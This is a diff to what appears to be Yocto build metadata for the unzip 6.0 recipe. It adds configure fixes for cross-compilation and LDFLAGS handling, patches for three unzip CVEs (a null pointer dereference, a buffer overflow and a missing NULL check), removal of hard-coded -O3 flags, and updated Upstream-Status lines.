11Upstream-Status: Inactive-Upstream
12
13Signed-off-by: Khem Raj <raj.khem@gmail.com>
14---
15 unix/configure | 51 +++++++++++++++++++++++++++++++++++++++-----------
16 1 file changed, 40 insertions(+), 11 deletions(-)
17
18diff --git a/unix/configure b/unix/configure
19index 49579f3..8fd82dd 100755
20--- a/unix/configure
21+++ b/unix/configure
22@@ -379,14 +379,37 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
23
24 # Check for missing functions
25 # add NO_'function_name' to flags if missing
26-for func in fchmod fchown lchown nl_langinfo
27-do
28- echo Check for $func
29- echo "int main(){ $func(); return 0; }" > conftest.c
30- $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
31- [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
32-done
33+echo Check for fchmod
34+cat > conftest.c << _EOF_
35+#include <sys/stat.h>
36+int main(){ fchmod(0,0); return 0; }
37+_EOF_
38+$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
39+[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_FCHMOD"
40
41+echo Check for fchown
42+cat > conftest.c << _EOF_
43+#include <unistd.h>
44+int main(){ fchown(0,0,0); return 0; }
45+_EOF_
46+$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
47+[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_FCHOWN"
48+
49+echo Check for lchown
50+cat > conftest.c << _EOF_
51+#include <unistd.h>
52+int main(){ lchown(NULL,0,0); return 0; }
53+_EOF_
54+$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
55+[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHOWN"
56+
57+echo Check for nl_langinfo
58+cat > conftest.c << _EOF_
59+#include <langinfo.h>
60+int main(){ nl_langinfo(0); return 0; }
61+_EOF_
62+$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
63+[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_NL_LANGINFO"
64 # Check (seriously) for a working lchmod.
65 echo 'Check for lchmod'
66 temp_file="/tmp/unzip_test_$$"
67@@ -401,14 +424,17 @@ ln -s "${temp_link}" "${temp_file}" && \
68 rm -f "${temp_file}"
69
70 echo Check for memset
71-echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
72+cat > conftest.c << _EOF_
73+#include <string.h>
74+int main(){ char k; memset(&k,0,0); return 0; }
75+_EOF_
76 $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
77 [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
78
79 echo Check for errno declaration
80 cat > conftest.c << _EOF_
81 #include <errno.h>
82-main()
83+int main()
84 {
85 errno = 0;
86 return 0;
87@@ -419,6 +445,8 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
88
89 echo Check for directory libraries
90 cat > conftest.c << _EOF_
91+#include <sys/types.h>
92+#include <dirent.h>
93 int main() { return closedir(opendir(".")); }
94 _EOF_
95
96@@ -523,10 +551,11 @@ fi
97 # needed for AIX (and others ?) when mmap is used
98 echo Check for valloc
99 cat > conftest.c << _EOF_
100-main()
101+#include <stdlib.h>
102+int main()
103 {
104 #ifdef MMAP
105- valloc();
106+ valloc(0);
107 #endif
108 }
109 _EOF_
110--
1112.37.1
112
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
new file mode 100644
index 0000000000..5a6d1946f6
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
@@ -0,0 +1,137 @@
1From da29ba6a27d8e78562052c79061476848915eb2a Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Wed, 9 Mar 2022 12:13:28 -0800
4Subject: [PATCH] configure: Pass LDFLAGS to tests doing link step
5
6Ensures that right flags from recipes are honored, otherwise tests fail
7which otherwise should not.
8
9Upstream-Status: Inactive-Upstream
10Signed-off-by: Khem Raj <raj.khem@gmail.com>
11---
12 unix/configure | 28 ++++++++++++++--------------
13 1 file changed, 14 insertions(+), 14 deletions(-)
14
15diff --git a/unix/configure b/unix/configure
16index d4b0a8e..49579f3 100755
17--- a/unix/configure
18+++ b/unix/configure
19@@ -116,7 +116,7 @@ _EOF_
20 # Special Mac OS X shared library "ld" option?
21 if test ` uname -s 2> /dev/null ` = 'Darwin'; then
22 lf='-Wl,-search_paths_first'
23- $CC $CFLAGS $lf conftest.c > /dev/null 2>/dev/null
24+ $CC $CFLAGS $LDFLAGS $lf conftest.c > /dev/null 2>/dev/null
25 if test $? -eq 0; then
26 BZLF=${lf}
27 fi
28@@ -276,7 +276,7 @@ int main()
29 }
30 _EOF_
31 # compile it
32-$CC -o conftest conftest.c >/dev/null 2>/dev/null
33+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
34 if [ $? -ne 0 ]; then
35 echo -- no Large File Support
36 else
37@@ -322,7 +322,7 @@ int main()
38 }
39 _EOF_
40 # compile it
41-$CC -o conftest conftest.c >/dev/null 2>/dev/null
42+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
43 if [ $? -ne 0 ]; then
44 echo "-- no Unicode (wchar_t) support"
45 else
46@@ -383,7 +383,7 @@ for func in fchmod fchown lchown nl_langinfo
47 do
48 echo Check for $func
49 echo "int main(){ $func(); return 0; }" > conftest.c
50- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
51+ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
52 [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
53 done
54
55@@ -395,14 +395,14 @@ temp_link="link_$$"
56 echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
57 ) > conftest.c
58 ln -s "${temp_link}" "${temp_file}" && \
59- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null && \
60+ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
61 ./conftest
62 [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
63 rm -f "${temp_file}"
64
65 echo Check for memset
66 echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
67-$CC -o conftest conftest.c >/dev/null 2>/dev/null
68+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
69 [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
70
71 echo Check for errno declaration
72@@ -422,12 +422,12 @@ cat > conftest.c << _EOF_
73 int main() { return closedir(opendir(".")); }
74 _EOF_
75
76-$CC -o conftest conftest.c >/dev/null 2>/dev/null
77+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
78 if [ $? -ne 0 ]; then
79 OPT=""
80 for lib in ndir dir ucb bsd BSD PW x dirent
81 do
82- $CC -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
83+ $CC $CLFAGS $LDFLAGS -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
84 [ $? -eq 0 ] && OPT=-l$lib && break
85 done
86 if [ ${OPT} ]; then
87@@ -440,9 +440,9 @@ fi
88 # Dynix/ptx 1.3 needed this
89 echo Check for readlink
90 echo "int main(){ return readlink(); }" > conftest.c
91-$CC -o conftest conftest.c >/dev/null 2>/dev/null
92+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
93 if [ $? -ne 0 ]; then
94- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
95+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
96 [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
97 fi
98
99@@ -501,7 +501,7 @@ int main()
100 }
101 _EOF_
102 # compile it
103-$CC ${CFLAGS} ${CFLAGSR} -o conftest conftest.c >/dev/null 2>/dev/null
104+$CC ${CFLAGS} ${CFLAGSR} $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
105 if [ $? -ne 0 ]; then
106 echo "-- no MBCS support"
107 CFLAGSR="${CFLAGSR} -DNO_MBCS"
108@@ -515,7 +515,7 @@ else
109 do
110 echo Check for MBCS $func
111 echo "int main() { $func(); return 0; }" > conftest.c
112- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
113+ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
114 [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -D`echo $func | tr '[a-z]' '[A-Z]'`=$func"
115 done
116 fi
117@@ -557,7 +557,7 @@ elif [ -f /xenix ]; then
118 elif uname -X >/dev/null 2>/dev/null; then
119 # SCO shared library check
120 echo "int main() { return 0;}" > conftest.c
121- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
122+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
123 [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
124 else
125 SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
126@@ -565,7 +565,7 @@ else
127 case $SYSTEM in
128 OSF1|ULTRIX)
129 echo Check for -Olimit option
130- $CC ${CFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
131+ $CC ${CFLAGS} ${LDFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
132 [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -Olimit 1000"
133 ;;
134 ### HP-UX)
135--
1362.35.1
137
diff --git a/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch b/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch
new file mode 100644
index 0000000000..2fa7f481b7
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch
@@ -0,0 +1,103 @@
1From 5cbf901b5c3b6a7d1d0ed91b6df4194bb6d25a40 Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Thu, 15 Jun 2023 07:14:17 -0700
4Subject: [PATCH] unix/configure: fix detection for cross compilation
5
6We're doing cross compilation, running a cross-compiled problem
7on host to detemine feature is not correct. So we change runtime
8check into compile-time check to detect the features.
9
10Upstream-Status: Inactive-Upstream
11
12Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
13---
14 unix/configure | 44 +++++++++++++++-----------------------------
15 1 file changed, 15 insertions(+), 29 deletions(-)
16
17diff --git a/unix/configure b/unix/configure
18index 8fd82dd..68dee98 100755
19--- a/unix/configure
20+++ b/unix/configure
21@@ -259,6 +259,10 @@ cat > conftest.c << _EOF_
22 #include <sys/stat.h>
23 #include <unistd.h>
24 #include <stdio.h>
25+
26+_Static_assert(sizeof(off_t) < 8, "sizeof off_t < 8 failed");
27+_Static_assert(sizeof((struct stat){0}.st_size) < 8, "sizeof st_size < 8 failed");
28+
29 int main()
30 {
31 off_t offset;
32@@ -278,21 +282,10 @@ _EOF_
33 # compile it
34 $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
35 if [ $? -ne 0 ]; then
36- echo -- no Large File Support
37+ echo -- yes we have Large File Support!
38+ CFLAGSR="${CFLAGSR} -DLARGE_FILE_SUPPORT"
39 else
40-# run it
41- ./conftest
42- r=$?
43- if [ $r -eq 1 ]; then
44- echo -- no Large File Support - no 64-bit off_t
45- elif [ $r -eq 2 ]; then
46- echo -- no Large File Support - no 64-bit stat
47- elif [ $r -eq 3 ]; then
48- echo -- yes we have Large File Support!
49- CFLAGSR="${CFLAGSR} -DLARGE_FILE_SUPPORT"
50- else
51- echo -- no Large File Support - conftest returned $r
52- fi
53+ echo -- no Large File Support
54 fi
55
56 # Added 11/24/2005 EG
57@@ -302,6 +295,11 @@ cat > conftest.c << _EOF_
58 #include <stdlib.h>
59 #include <stdio.h>
60 #include <wchar.h>
61+
62+#ifndef __STDC_ISO_10646__
63+#error "__STDC_ISO_10646__ not defined
64+#endif
65+
66 int main()
67 {
68 size_t wsize;
69@@ -327,19 +325,8 @@ if [ $? -ne 0 ]; then
70 echo "-- no Unicode (wchar_t) support"
71 else
72 # have wide char support
73-# run it
74- ./conftest
75- r=$?
76- if [ $r -eq 0 ]; then
77- echo -- no Unicode wchar_t support - wchar_t allocation error
78- elif [ $r -eq 1 ]; then
79- echo -- no Unicode support - wchar_t encoding unspecified
80- elif [ $r -eq 2 ]; then
81- echo -- have wchar_t with known UCS encoding - enabling Unicode support!
82- CFLAGSR="${CFLAGSR} -DUNICODE_SUPPORT -DUNICODE_WCHAR"
83- else
84- echo "-- no Unicode (wchar_t) support - conftest returned $r"
85- fi
86+ echo -- have wchar_t with known UCS encoding - enabling Unicode support!
87+ CFLAGSR="${CFLAGSR} -DUNICODE_SUPPORT -DUNICODE_WCHAR"
88 fi
89
90 echo "Check for setlocale support (needed for UNICODE Native check)"
91@@ -418,8 +405,7 @@ temp_link="link_$$"
92 echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
93 ) > conftest.c
94 ln -s "${temp_link}" "${temp_file}" && \
95- $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
96- ./conftest
97+ $CC -Werror=implicit-function-declaration $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null
98 [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
99 rm -f "${temp_file}"
100
101--
1022.34.1
103
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch b/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch
new file mode 100644
index 0000000000..c0103444fc
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch
@@ -0,0 +1,67 @@
1From 731d698377dbd1f5b1b90efeb8094602ed59fc40 Mon Sep 17 00:00:00 2001
2From: Nils Bars <nils.bars@t-online.de>
3Date: Mon, 17 Jan 2022 16:53:16 +0000
4Subject: [PATCH] Fix null pointer dereference and use of uninitialized data
5
6This fixes a bug that causes use of uninitialized heap data if `readbuf` fails
7to read as many bytes as indicated by the extra field length attribute.
8Furthermore, this fixes a null pointer dereference if an archive contains an
9`EF_UNIPATH` extra field but does not have a filename set.
10---
11 fileio.c | 5 ++++-
12 process.c | 6 +++++-
13 2 files changed, 9 insertions(+), 2 deletions(-)
14---
15
16Patch from:
17https://bugs.launchpad.net/ubuntu/+source/unzip/+bug/1957077
18https://launchpadlibrarian.net/580782282/0001-Fix-null-pointer-dereference-and-use-of-uninitialized-data.patch
19Regenerated to apply without offsets.
20
21CVE: CVE-2021-4217
22
23Upstream-Status: Inactive-Upstream [infozip upstream inactive]
24
25Signed-off-by: Joe Slater <joe.slater@windriver.com>
26
27
28diff --git a/fileio.c b/fileio.c
29index 14460f3..1dc319e 100644
30--- a/fileio.c
31+++ b/fileio.c
32@@ -2301,8 +2301,11 @@ int do_string(__G__ length, option) /* return PK-type error code */
33 seek_zipf(__G__ G.cur_zipfile_bufstart - G.extra_bytes +
34 (G.inptr-G.inbuf) + length);
35 } else {
36- if (readbuf(__G__ (char *)G.extra_field, length) == 0)
37+ unsigned bytes_read = readbuf(__G__ (char *)G.extra_field, length);
38+ if (bytes_read == 0)
39 return PK_EOF;
40+ if (bytes_read != length)
41+ return PK_ERR;
42 /* Looks like here is where extra fields are read */
43 if (getZip64Data(__G__ G.extra_field, length) != PK_COOL)
44 {
45diff --git a/process.c b/process.c
46index 5f8f6c6..de843a5 100644
47--- a/process.c
48+++ b/process.c
49@@ -2058,10 +2058,14 @@ int getUnicodeData(__G__ ef_buf, ef_len)
50 G.unipath_checksum = makelong(offset + ef_buf);
51 offset += 4;
52
53+ if (!G.filename_full) {
54+ /* Check if we have a unicode extra section but no filename set */
55+ return PK_ERR;
56+ }
57+
58 /*
59 * Compute 32-bit crc
60 */
61-
62 chksum = crc32(chksum, (uch *)(G.filename_full),
63 strlen(G.filename_full));
64
65--
662.32.0
67
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch b/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch
new file mode 100644
index 0000000000..1c1e120deb
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch
@@ -0,0 +1,39 @@
1https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010355
2
3CVE: CVE-2022-0529
4Upstream-Status: Inactive-Upstream [need a new release]
5
6diff --git a/process.c b/process.c
7index d2a846e..99b9c7b 100644
8--- a/process.c
9+++ b/process.c
10@@ -2507,13 +2507,15 @@ char *wide_to_local_string(wide_string, escape_all)
11 char buf[9];
12 char *buffer = NULL;
13 char *local_string = NULL;
14+ size_t buffer_size;
15
16 for (wsize = 0; wide_string[wsize]; wsize++) ;
17
18 if (max_bytes < MAX_ESCAPE_BYTES)
19 max_bytes = MAX_ESCAPE_BYTES;
20
21- if ((buffer = (char *)malloc(wsize * max_bytes + 1)) == NULL) {
22+ buffer_size = wsize * max_bytes + 1;
23+ if ((buffer = (char *)malloc(buffer_size)) == NULL) {
24 return NULL;
25 }
26
27@@ -2552,7 +2554,11 @@ char *wide_to_local_string(wide_string, escape_all)
28 /* no MB for this wide */
29 /* use escape for wide character */
30 char *escape_string = wide_to_escape_string(wide_string[i]);
31- strcat(buffer, escape_string);
32+ size_t buffer_len = strlen(buffer);
33+ size_t escape_string_len = strlen(escape_string);
34+ if (buffer_len + escape_string_len + 1 > buffer_size)
35+ escape_string_len = buffer_size - buffer_len - 1;
36+ strncat(buffer, escape_string, escape_string_len);
37 free(escape_string);
38 }
39 }
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch b/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch
new file mode 100644
index 0000000000..363dafddc9
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch
@@ -0,0 +1,33 @@
1https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010355
2
3CVE: CVE-2022-0530
4Upstream-Status: Inactive-Upstream [need a new release]
5
6diff --git a/fileio.c b/fileio.c
7index 6290824..77e4b5f 100644
8--- a/fileio.c
9+++ b/fileio.c
10@@ -2361,6 +2361,9 @@ int do_string(__G__ length, option) /* return PK-type error code */
11 /* convert UTF-8 to local character set */
12 fn = utf8_to_local_string(G.unipath_filename,
13 G.unicode_escape_all);
14+ if (fn == NULL)
15+ return PK_ERR;
16+
17 /* make sure filename is short enough */
18 if (strlen(fn) >= FILNAMSIZ) {
19 fn[FILNAMSIZ - 1] = '\0';
20diff --git a/process.c b/process.c
21index d2a846e..715bc0f 100644
22--- a/process.c
23+++ b/process.c
24@@ -2605,6 +2605,8 @@ char *utf8_to_local_string(utf8_string, escape_all)
25 int escape_all;
26 {
27 zwchar *wide = utf8_to_wide_string(utf8_string);
28+ if (wide == NULL)
29+ return NULL;
30 char *loc = wide_to_local_string(wide, escape_all);
31 free(wide);
32 return loc;
33
diff --git a/meta/recipes-extended/unzip/unzip/avoid-strip.patch b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
index 8f30e42674..70bedc8381 100644
--- a/meta/recipes-extended/unzip/unzip/avoid-strip.patch
+++ b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
@@ -1,4 +1,4 @@
1Upstream-Status: Pending 1Upstream-Status: Inactive-Upstream [need a new release]
2 2
3unix/Makefile: remove hard coded strip commands 3unix/Makefile: remove hard coded strip commands
4 4
diff --git a/meta/recipes-extended/unzip/unzip/define-ldflags.patch b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
index 659c6e3315..dd01c01400 100644
--- a/meta/recipes-extended/unzip/unzip/define-ldflags.patch
+++ b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
@@ -1,6 +1,6 @@
1Pass LDFLAGS to the linker 1Pass LDFLAGS to the linker
2 2
3Upstream-Status: Pending 3Upstream-Status: Inactive-Upstream [need a new release]
4 4
5Signed-off-by: Mikhail Durnev <Mikhail_Durnev@mentor.com> 5Signed-off-by: Mikhail Durnev <Mikhail_Durnev@mentor.com>
6 6
diff --git a/meta/recipes-extended/unzip/unzip/fix-security-format.patch b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
index 8e9b06c423..2889c652d4 100644
--- a/meta/recipes-extended/unzip/unzip/fix-security-format.patch
+++ b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
@@ -5,7 +5,7 @@ Fix security formatting issues related to sprintf parameters expeted.
5[YOCTO #9551] 5[YOCTO #9551]
6[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9551] 6[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9551]
7 7
8Upstream-Status: Pending 8Upstream-Status: Inactive-Upstream [need a new release]
9 9
10Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com> 10Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
11 11
diff --git a/meta/recipes-extended/unzip/unzip/symlink.patch b/meta/recipes-extended/unzip/unzip/symlink.patch
index a38f6f1612..26f1c8ba86 100644
--- a/meta/recipes-extended/unzip/unzip/symlink.patch
+++ b/meta/recipes-extended/unzip/unzip/symlink.patch
@@ -6,7 +6,7 @@ a symlink entry."
6 6
7This patch is taken from Fedora (https://bugzilla.redhat.com/show_bug.cgi?id=972427) 7This patch is taken from Fedora (https://bugzilla.redhat.com/show_bug.cgi?id=972427)
8 8
9Upstream-Status: Pending (upstream is dead) 9Upstream-Status: Inactive-Upstream [need a new release]
10Signed-off-by: Ross Burton <ross.burton@intel.com> 10Signed-off-by: Ross Burton <ross.burton@intel.com>
11 11
12--- unzip60/process.c.sav 2013-06-09 12:08:57.070392264 +0200 12--- unzip60/process.c.sav 2013-06-09 12:08:57.070392264 +0200
diff --git a/meta/recipes-extended/unzip/unzip/unzip_optimization.patch b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
new file mode 100644
index 0000000000..4bab7b26af
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
@@ -0,0 +1,127 @@
1unzip: use optimization from bitbake
2
3Remove -O3 optimizations to use bitbake default optimization levels.
4
5Upstream-Status: Inappropriate [configuration]
6
7Signed-off-by: Mikko Rapeli <mikko.rapeli@bmw.de>
8
9diff -rup unix-orig/configure unix/configure
10--- a/unix-orig/configure 2021-04-16 10:25:03.120858292 +0000
11+++ b/unix/configure 2021-04-16 10:46:43.292546138 +0000
12@@ -70,7 +70,7 @@ int main()
13 _EOF_
14 $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
15 if test $? -eq 0; then
16- CFLAGS_OPT='-O3'
17+ CFLAGS_OPT=''
18 echo " DEC C ($CFLAGS_OPT)"
19 else
20 # HP-UX HP C?
21@@ -111,7 +111,7 @@ int main()
22 _EOF_
23 $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
24 if test $? -eq 0; then
25- CFLAGS_OPT='-O3'
26+ CFLAGS_OPT=''
27 echo " GNU C ($CFLAGS_OPT)"
28 # Special Mac OS X shared library "ld" option?
29 if test ` uname -s 2> /dev/null ` = 'Darwin'; then
30diff -rup unix-orig/Makefile unix/Makefile
31--- a/unix-orig/Makefile 2021-04-16 10:25:03.000863878 +0000
32+++ b/unix/Makefile 2021-04-16 10:47:31.658299278 +0000
33@@ -47,7 +47,7 @@ LD = $(CC)# must match, else "unresolved
34 AS = as
35 LOC = $(D_USE_BZ2) $(LOCAL_UNZIP)
36 AF = $(LOC)
37-CFLAGS = -O
38+CFLAGS =
39 CF_NOOPT = -I. -I$(IZ_BZIP2) -DUNIX $(LOC)
40 CF = $(CFLAGS) $(CF_NOOPT)
41 LFLAGS1 =
42@@ -594,12 +594,12 @@ generic_shlib: unix_make
43 @echo\
44 'which is UnZip linked with the DLL). This target is an example only.'
45 @echo ""
46- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC -DDLL"
47+ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC -DDLL"
48 gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)
49 $(RM) libunzip.so.0 libunzip.so
50 $(LN) -s libunzip.so.0.4 libunzip.so.0
51 $(LN) -s libunzip.so.0 libunzip.so
52- gcc -c -O unzipstb.c
53+ gcc -c unzipstb.c
54 gcc -o unzip_shlib unzipstb.o -L. -lunzip
55
56 #----------------------------------------------------------------------------
57@@ -775,7 +775,7 @@ freebsd: unix_make
58 # with "echo" instead).
59 #
60 gcc: unix_make
61- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O3" LF2=""
62+ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="" LF2=""
63
64 # Heurikon HK68 (68010), UniPlus+ System V 5.0, Green Hills C-68000
65 hk68: unix_make
66@@ -792,7 +792,7 @@ isc: unix_make
67 isc_gcc: unix_make
68 $(MAKE) unzips AS=gcc CC=gcc LD=gcc CRCA_O=crc_gcc$O \
69 LF="-shlib $(LF)" SL="-shlib $(SL)" FL="-shlib $(FL)" LF2="" \
70- CFLAGS="-O3" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
71+ CFLAGS="" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
72 AF="-DNO_UNDERLINE -Djecxz=jcxz -DALIGNMENT='.align 16' $(AF)"
73 $(STRIP) $(UNZIPS)
74
75@@ -808,7 +808,7 @@ isi: unix_make
76 linux: unix_make
77 @echo 'NOTE: use linux_noasm target for non-Intel Linux compiles.'
78 $(MAKE) unzips CC=gcc LD=gcc AS=gcc\
79- CFLAGS="-O3 -Wall -DASM_CRC"\
80+ CFLAGS="-Wall -DASM_CRC"\
81 AF="-Di386 $(AF)" CRCA_O=crc_gcc$O
82 # GRR: this echo is pointless; if user gets this far, no difference to install
83 # @echo 'Be sure to use the install_asm target rather than the install target'
84@@ -818,14 +818,14 @@ linux_asm: linux
85 # Linux (Posix, approximately SysV): virtually any version since before 0.96,
86 # for any platform. Change "-O" to "-O3" or whatever, as desired...
87 linux_noasm: unix_make
88- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O -Wall"
89+ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-Wall"
90
91 # Linux with lcc compiler: __inline__ (stat.h) not recognized, and must edit
92 # /usr/include/gnu/types.h to get rid of "long long" if __LCC__ defined. -O3
93 # (or -O2 or -O) is ignored. [GRR 960828: test target only]
94 #
95 linux_lcc: unix_make
96- $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-O3 -Wall -D__inline__= "
97+ $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-Wall -D__inline__= "
98
99 # Linux host with go32 (djgpp) cross-compiler (go32crs.tgz) for 32-bit DOS.
100 linux_dos: unix_make
101@@ -844,7 +844,7 @@ linux_dos: unix_make
102 # library).
103 #
104 linux_shlib: unix_make
105- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC"\
106+ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC"\
107 LOC="-DDLL -DASM_CRC $(LOC)"\
108 AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O
109 gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
110@@ -858,7 +858,7 @@ linux_shlib: unix_make
111 # instead of the original UnZip version. (libz was libgz prior to 0.94)
112 linux_shlibz: unix_make
113 $(MAKE) objsdll CC=gcc AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O\
114- CFLAGS="-O3 -Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
115+ CFLAGS="-Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
116 gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
117 crc_gcc.pic.o
118 ln -sf libunzip.so.0.4 libunzip.so.0
119@@ -871,7 +871,7 @@ lynx: unix_make
120
121 # Macintosh MacOS X (Unix-compatible enviroment), using standard compiler
122 macosx: unix_make
123- $(MAKE) unzips CFLAGS="-O3 -Wall -DBSD" LF2=""
124+ $(MAKE) unzips CFLAGS="-Wall -DBSD" LF2=""
125 $(STRIP) $(UNZIPS)
126
127 # Macintosh MacOS X (Unix-compatible enviroment), using gcc
diff --git a/meta/recipes-extended/unzip/unzip_6.0.bb b/meta/recipes-extended/unzip/unzip_6.0.bb
index c1ea0a9a2c..27076d5d9b 100644
--- a/meta/recipes-extended/unzip/unzip_6.0.bb
+++ b/meta/recipes-extended/unzip/unzip_6.0.bb
@@ -1,10 +1,10 @@
1SUMMARY = "Utilities for extracting and viewing files in .zip archives" 1SUMMARY = "Utilities for extracting and viewing files in .zip archives"
2HOMEPAGE = "http://www.info-zip.org" 2HOMEPAGE = "http://www.info-zip.org"
3DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
3SECTION = "console/utils" 4SECTION = "console/utils"
4LICENSE = "BSD-3-Clause" 5LICENSE = "BSD-3-Clause"
